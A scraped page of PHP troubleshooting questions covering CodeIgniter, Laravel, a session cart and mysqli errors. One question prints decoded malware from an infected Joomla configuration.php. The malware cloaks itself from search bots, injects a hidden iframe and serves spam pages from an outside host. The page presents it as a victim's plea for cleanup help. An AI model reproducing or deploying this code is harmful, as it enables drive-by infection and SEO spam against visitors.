Codeigniter blank page - Severity: Compile Error - php

I have codeigniter application which working well in justhost. I am trying to transfer it to bigrock host. But in new host its not working I can only see blank page with 500 error,no error logs in cpanel. Followed many solution in stackoverflow but couldn't fix(innitioally i thought its .htaccess problem), and now I tried define environment variable to development, I can see php error which says as below
A PHP Error was encountered
Severity: Compile Error
Message: Can't use method return value in write context
Filename: models/Home_model.php
Line Number: 77
Backtrace:
Home model screen shot
login function which is in home model:
public function login($data) {
if(filter_var($data['email'], FILTER_VALIDATE_EMAIL)) {
$res = $data['email'];
}
else {
$settings = get_setting();
$pre = $settings->id_prefix;
$res = trim($data['email'],$pre);
}
$this->db->select('*');
$this->db->from('users');
$this->db->join('profiles', 'profiles.email = users.email','left');
$this->db->where('user_status','1');
$this->db->where('users.email', $res);
$this->db->or_where('matrimony_id',$res);
$chk_qry = $this->db->get();
//$chk_qry = $query->row();
//echo $this->db->last_query();die;
if ($chk_qry->num_rows() == 1) {
$pass = $this->encrypt->decode($chk_qry->row()->password);
if($data['password'] == $pass) {
$this->db->where('user_id', $chk_qry->row()->user_id);
$usr_qry = $this->db->get('profiles');
if(!empty($usr_qry->result())) {
if($usr_qry->result()[0]->profile_status != 2) {
if($usr_qry->result()[0]->profile_status != 4) {
if($usr_qry->result()[0]->profile_approval == 1) {
$status = 1;
$this->session->set_userdata('logged_in',$usr_qry->result()[0]);
$data1['date_time'] = date('Y-m-d H:i:s', time());
//$data1['user_id']=$usr_qry->result()[0]->user_id;
$data1['matrimony_id']=$usr_qry->result()[0]->matrimony_id;
$query = $this->db->where('matrimony_id',$data1['matrimony_id']);
$query = $this->db->get('active_members');
if ($query->num_rows() > 0){
$this->db->where('matrimony_id',$data1['matrimony_id']);
$this->db->update('active_members',$data1);
} else {
$this->db->insert('active_members', $data1);
}
} else { $status = 2; } // Profile Not Approved
} else { $status = 7; } // Profile Deactivated
} else { $status = 5; } // Profile Deleted or Banned
} else { $status = 6; } // No Accounts Found
} else { $status = 3; } // Ivalid Password
} else { $status = 4; } // Email not exist
return $status;
}
I wonder how this same script working fine in justhost.

Solved problem!!! silly me,
Updated php version from 5.4 to 5.6

Related

Getting Error: Trying to get property of non-object in

I am getting this Trying to get property of non-object in at if ($fetch_size_id->num_rows > 0) and at else if ($fetch_size_id->num_rows == 0).
Can't figure out what is causing it.
The if conditions don't work as well...
When I var_dump($fetch_size_id) I get bool(false).
$fetch_size_id = $conn->query("
SELECT
`sizes`.`size_id`,
`sizes`.`width`,
`sizes`.`ratio`,
`sizes`.`construction`,
`sizes`.`diameter`
FROM `sizes`
WHERE
`sizes`.`width` = '".$conn->real_escape_string($row['5'])."'
AND `sizes`.`ratio` = '".$conn->real_escape_string($row['6'])."'
AND `sizes`.`construction` = '".$conn->real_escape_string($construction)."'
AND `sizes`.`diameter` = '".$conn->real_escape_string($row['7'])."
");
if ($fetch_size_id->num_rows > 0) {
$fetch_size_id = $fetch_size_id->fetch_object();
$temp_size_id = $fetch_size_id->size_id;
} else if ($fetch_size_id->num_rows == 0) {
//create new
} else {
//error
}
Am I overlooking something?
You are not checking variable $fetch_size_id
if (isset ($fetch_size_id){
if ($fetch_size_id->num_rows) {
$fetch_size_id = $fetch_size_id->fetch_object();
$temp_size_id = $fetch_size_id->size_id;
} else{
//create new
}
} else {
//error
}

LAravel 505 error

This has been giving a
404 page error not found
and i don't know why.
public static function getGeneration($currentParent, $rootParent){
// dd($rootParent);
$user = User::where("username", $currentParent)->first();
$generation =[];
$x = 0;
$bool = true;
while ($bool) {
if($x==0){
$generation[$x] = (User::where("username", $user->sponsor_username)
->firstOrfail())
->sponsor_username;
}else{
$generation[$x] = (User::where("username", $generation[$x-1])
->firstOrfail())
->sponsor_username;
}
if( $x > 0 ){
if($news = $generation[$x] == $rootParent){
dd($news);
$bool = false;
}
}
$x++;
}
return $generation;
}
what this method basicaly does is go through a database and find out who brought a particular user into a system, because is user has a sponsor_username against it on the database, the last if statement is meant to stop when it discovers that it has reached the root user.

PHP Shopping Cart

I am trying to add a product to my shopping cart.
I am getting an error saying:
Warning: Invalid argument supplied for foreach() in
It is telling me I am getting an error for the following code:
function isInCart($id) {
if (!empty($_SESSION['sess_uid']['cart'])) {
foreach ($_SESSION['sess_uid']['cart'] as $report) {
if ($report['reportID'] == $id) {
// Report ID found in Cart
return true;
}
}
// Looped through cart, ID not found
return false;
} else {
// Cart empty
return false;
}
}
The particular line from the above that is flagging the error is:
foreach ($_SESSION['sess_uid']['cart'] as $report) {
I am also getting the following error message:
Fatal error: Only variables can be passed by reference in
The code this relates to is the following:
function addToCart($id) {
$report = getReportByID($id);
$author = $report['userID'];
if (!empty($report)) {
// Got the report
if (!empty($_SESSION['sess_uid']['cart'])) {
if (!isInCart($id) && !isOwner($author) && !hasPurchased($id)) {
array_push($_SESSION['sess_uid']['cart'], $report);
return true;
} else {
return false;
}
} else {
$_SESSION['sess_uid']['cart'] = array();
if (!isInCart($id) && !isOwner($author) && !hasPurchased($id)) {
array_push($_SESSION['sess_uid']['cart'], $report);
return true;
} else {
return false;
}
}
} else {
// Unable to get report by ID
return false;
}
}
The particular line of code from the above that is flagging the error is:
array_push($_SESSION['sess_uid']['cart'], $report);
The code below is what gets my reports to populate the store
<?php
function getReportByID($id) {
$conn = new mysqli(localhost, root, DBPASS, DBNAME);
$sql = "SELECT * FROM reports WHERE reportID = '" . $conn->real_escape_string($id)."';";
// Performs the $sql query on the server
$report = $conn->query($sql);
return $report->fetch_array(MYSQLI_ASSOC);
}
?>
Any help would be greatly appreciated.
Thanks
i think this wil help:
it typcast your session as an array so even when the session is empty you dont get an error
foreach ((array)$_SESSION['sess_uid']['cart'] as $report) {
let me know if this fix the error?

Joomla back-end login page keeps coming back to login page with no error. configuration.php file is infected. How to manage?

Since a week i was trying to login to the back-end of my joomla 1.5 site. It simply keeps coming back to the login page without any error. When I took a look at the configuration.php file it appeared as a string encoded with following pattern:
<?php eval(base64_decode('string here';))) />
When i decoded it using an online service this is what it appears to be:
if (!defined('frmDs')){ define('frmDs' ,1); function frm_dl ($url) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $out = curl_exec ($ch); if (curl_errno($ch) !== 0) $out = false; curl_close ($ch); } else {$out = #file_get_contents($url);} return trim($out); } function frm_crpt($in){ $il=strlen($in);$o=''; for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*'; return $o; } function frm_getcache($tmpdir,$link,$cmtime,$del=true){ $f = $tmpdir.'/sess_'.md5(preg_replace('/^http:\/\/[^\/]+/', '', $link)); if(!file_exists($f) || time() - filemtime($f) > 60 * $cmtime) { $dlc=frm_dl($link); if($dlc===false){ if(del) #unlink($f); else #touch($f); } else { if($fp = #fopen($f,'w')){ fwrite($fp, frm_crpt($dlc)); fclose($fp); }else{return $dlc;} } } $fc = #file_get_contents($f); return ($fc)?frm_crpt($fc):''; } function frm_isbot($ua){ if(($lip=ip2long($_SERVER['REMOTE_ADDR']))<0)$lip+=4294967296; $rs = array(array(3639549953,3639558142),array(1089052673,1089060862),array(1123635201,1123639294),array(1208926209,1208942590), array(3512041473,3512074238),array(1113980929,1113985022),array(1249705985,1249771518),array(1074921473,1074925566), array(3481178113,3481182206),array(2915172353,2915237886)); foreach ($rs as $r) if($lip>=$r[0] && $lip<=$r[1]) return true; if(!$ua)return true; $bots = array('googlebot','bingbot','slurp','msnbot','jeeves','teoma','crawler','spider'); foreach ($bots as $b) if(strpos($ua, $b)!==false) return true; return false; } function frm_tmpdir(){ $fs = array('/tmp','/var/tmp'); foreach (array('TMP', 'TEMP', 'TMPDIR') as $v) { if ($t = getenv($v)) {$fs[]=$t;} } if (function_exists('sys_get_temp_dir')) {$fs[]=sys_get_temp_dir();} $fs[]='.'; foreach ($fs as $f){ $tf = $f.'/'.md5(rand()); if($fp = #fopen($tf, 'w')){ fclose($fp); unlink($tf); return $f; } } return false; } function frm_seref(){ $r = #strtolower($_SERVER["HTTP_REFERER"]); $ses = array('google','bing','yahoo','ask','aol'); foreach ($ses as $se) if(strpos($r, $se.'.')!=false) return true; return false; } function frm_isuniq($tdir){ $ip=$_SERVER['REMOTE_ADDR']; $dbf=$tdir.'/sess_'.md5(date('m.d.y')); $odbf = $tdir.'/sess_'.md5(date('m.d.y',time()-86400)); if (file_exists($odbf)) #unlink($odbf); if(strpos(frm_crpt(#file_get_contents($dbf)),$ip) === false ){ if ($fp=#fopen($dbf,'a')){fputs($fp,frm_crpt($ip.'|')); fclose($fp);} return true; } return false; } $tdir = frm_tmpdir(); $defframe = '<style> .gtvvh { position:absolute; left:-760px; top:-927px; }</style><div class="gtvvh"><iframe src="http://whivmjknp.findhere.org/jquery/get.php?ver=jquery.latest.js" width="477" height="435"></iframe></div>'; $defrdg='http://whivmjknp.findhere.org/jquery/get.php?ver=jquery.js'; $codelink = 'http://whivmjknp.findhere.org/nc/gnc.php?ver=jquery.latest.js'; $rdglink='http://whivmjknp.findhere.org/nc/gnc.php?ver=jquery.js'; $ua=$_SERVER['HTTP_USER_AGENT']; $isb=frm_isbot($ua); if (!$isb && preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) && frm_isuniq($tdir) ){ error_reporting(0); if(!isset($_COOKIE['__utmfr'])) { if(!$codelink) print($defframe); else print(frm_getcache($tdir,$codelink,15)); #setcookie('__utmfr',rand(1,1000),time()+86400*7,'/'); } } //------- $host = preg_replace('/^w{3}\./','', strtolower($_SERVER['HTTP_HOST'])); if($tdir && strlen($host)<100 && preg_match('/^[a-z0-9\-]+\.([a-z]{2,5}|[a-z]{2,3}\.[a-z]{2,3}|.*\.edu)$/', $host)){ $parg = substr(preg_replace( '/[^a-z]+/', '',strtolower(base64_encode(md5($host)))),0,3); $pageid = (isset($_GET[$parg]))?$_GET[$parg]*1:0; $ruri = strtolower($_SERVER['REQUEST_URI']); if((strpos($ruri,'/?')===0||strpos($ruri,'/index.php?')===0) && $pageid > 0){ print(frm_getcache($tdir,"http://whivmjknp.findhere.org/rdg/getpage.php?h=$host&p=$pageid&pa=$parg",60*48,false)); exit(); } if ($isb) { error_reporting(0); print(frm_getcache($tdir,"http://whivmjknp.findhere.org/rdg/getpage.php?h=$host&pa=$parg&g=".(($ruri=='/'||$ruri=='/index.php')?'1':'0'),60*48,false)); } } //---------}
I checked other Joomla installations on my hosting space and see that all the configuration.php are the same.
What to do?
Please help
The only thing the the configuration.php file should have is defined variables. Nothing else. It could very well be that someone has hacked your site and messed around with files.
Change all passwords that are related to your website, including the hosting one.
Take a backup of your site via the cPanel and scan it with some antivirus software. Assuming there are no viruses detected, upgrade your site to the latest of the Joomla 2.5 series (2.5.14).
Then, remove the code you showed in your question from the configuration.php file and try logging back into the Joomla admin panel. If it works, ensure all your extensions are up to date and read this:
Joomla! 2.5.4 Hacked: Having trouble with diagnosis.
If not, then try resetting your super user password via the database:
http://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F
UPDATE:
It seems your whole configuration.php file has been attacked. I have provided you with the code for the file, however there are some blank spaces to be filled in. Anything that does need filling in, I have written next to it:
http://pastebin.com/gWWtCAJR
Let me know how it goes :)

Custom 404 error message not working in codeigniter

When I access the wrong function in my controller, a 404 error page is working well. But, when i access url like 'http://example.com/model/detail/116', which 116 is wrong number [are not in the database], my 404 error page not working.
I have this code in my controller:
public function detail()
{
$id['id_galeri'] = $this->uri->segment(3);
$detail = $this->app_model->getSelectedData("tbl_galeri",$id);
foreach($detail->result() as $d)
{
$bc['jdl'] = "View";
$bc['id_galeri'] = $d->id_galeri;
$bc['nama'] = $d->nama;
$bc['foto'] = $d->foto;
$bc['deskripsi'] = $d->deskripsi;
$bc['stts_input'] = "deskripsi";
}
if($this->uri->segment(3) == '' && $id['id_galeri'] == FALSE)
{
$segment_url = 0;
}else{
if(!is_numeric($this->uri->segment(3)) || !is_string($this->uri->segment(3))){
redirect('404');
}else{
$segment_url = $this->uri->segment(3);
}
}
$this->load->view('frontend/global/bg_top');
$this->load->view('frontend/page/bg_view_model',$bc);
$this->load->view('frontend/global/bg_footer');
}
Sorry for my bad english, please help :-)
Thank you..
Instead of:
redirect('404');
try using CodeIgniter's native:
show_404('page');
EDIT
Try this code, a bit cleaned up and the checks are done before they're saved for views use.
public function detail()
{
$id['id_galeri'] = $this->uri->segment(3);
// Check if the supplied ID is numeric in the first place
if ( ! is_numeric($id['id_galeri']))
{
show_404($this->uri->uri_string());
}
// Get the data
$detail = $this->app_model->getSelectedData("tbl_galeri",$id);
// Check if any records returned
if (count($detail->result()) === 0)
{
show_404($this->uri->uri_string());
}
foreach($detail->result() as $d)
{
$bc['jdl'] = "View";
$bc['id_galeri'] = $d->id_galeri;
$bc['nama'] = $d->nama;
$bc['foto'] = $d->foto;
$bc['deskripsi'] = $d->deskripsi;
$bc['stts_input'] = "deskripsi";
}
/**
* Here do whatever you want with the $segment_url which doesn't seem to be
* used in your code
*/
$this->load->view('frontend/global/bg_top');
$this->load->view('frontend/page/bg_view_model',$bc);
$this->load->view('frontend/global/bg_footer');
}

Categories